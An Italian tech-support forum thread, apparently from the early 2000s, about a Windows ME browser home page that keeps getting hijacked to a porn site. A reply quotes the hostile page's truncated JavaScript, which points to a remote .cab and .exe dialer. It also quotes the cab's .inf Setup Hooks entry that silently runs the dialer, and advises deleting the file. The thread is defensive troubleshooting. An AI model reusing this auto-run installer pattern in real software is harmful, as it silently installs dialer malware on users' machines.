virus?

[Krotag]

sto impazzendo dietro ad un accidenti di pc con Winme che sulla default page di IE mi mette un sito porno (sm.sexhound.com)

ne avete già sentito parlare?

ho fatto passare il pc con tutti i tools possibili e immaginabili di symantec e ho tutt'ora norton 2002 installato e aggiornato.

ho cambiato manualmente la default page, cancellato i file temporanei, la cronologia e i coockies, anche manualmente.

ho modificato anche a mano tutte le chiavi di registry che riportavano detta pagina ma tutte le volte che riavvio eccola tornare puntualmente.

qualcuno mi LIBERI da tutto ciò!!!! :mad: :mad:

[iZ8eej]

sono andato anche io sul sito che hai detto e come temevo ...chiede l'istallazione di un plugin che casualmente sara' nel tuo pc.
prova a vedere tramite MSCONFIG se carica all'avvio qualche script o qualche altro programmino non riconosciuto come virus o in alternativa istalla explorer 6 che ha risolto diversi bug di questo tipo.

[iZ8eej]

guarda un po' questo :


<SCRIPT language=JavaScript>
var cabpath='http://lolita.amateurvideo.com/lsdialer.cab';
var exepath='http://lolita.amateurvideo.com/lsdialer.exe';

var BName=navigator.appName;.......
.........................

........


TI DICE NULLA ??

il primo e' un cab file cioe' quello che ti sarai istallato
il secondo e' un dialer cioe' quel programmino che tramite accesso remoto ti fa' fare telefonate intercontinentali....o crea qualche script malefico tipo tojan ...povero chi ci capita.....

scaricando il CAB e aprendolo c'e' un file inf dove c'e':



[Setup Hooks]
hook1=hook1

[hook1]
run=%EXTRACT_DIR%\lsdialer.exe

[Version]
Signature=$CHICAGO$
AdvancedInf=2.0



cieo' un mero trucco per farti eseguire appunto il dialer

alla fine devi fare una ricerca sul tuo PC di lsdialer.exe e eliminarli tutti ......

ciao:)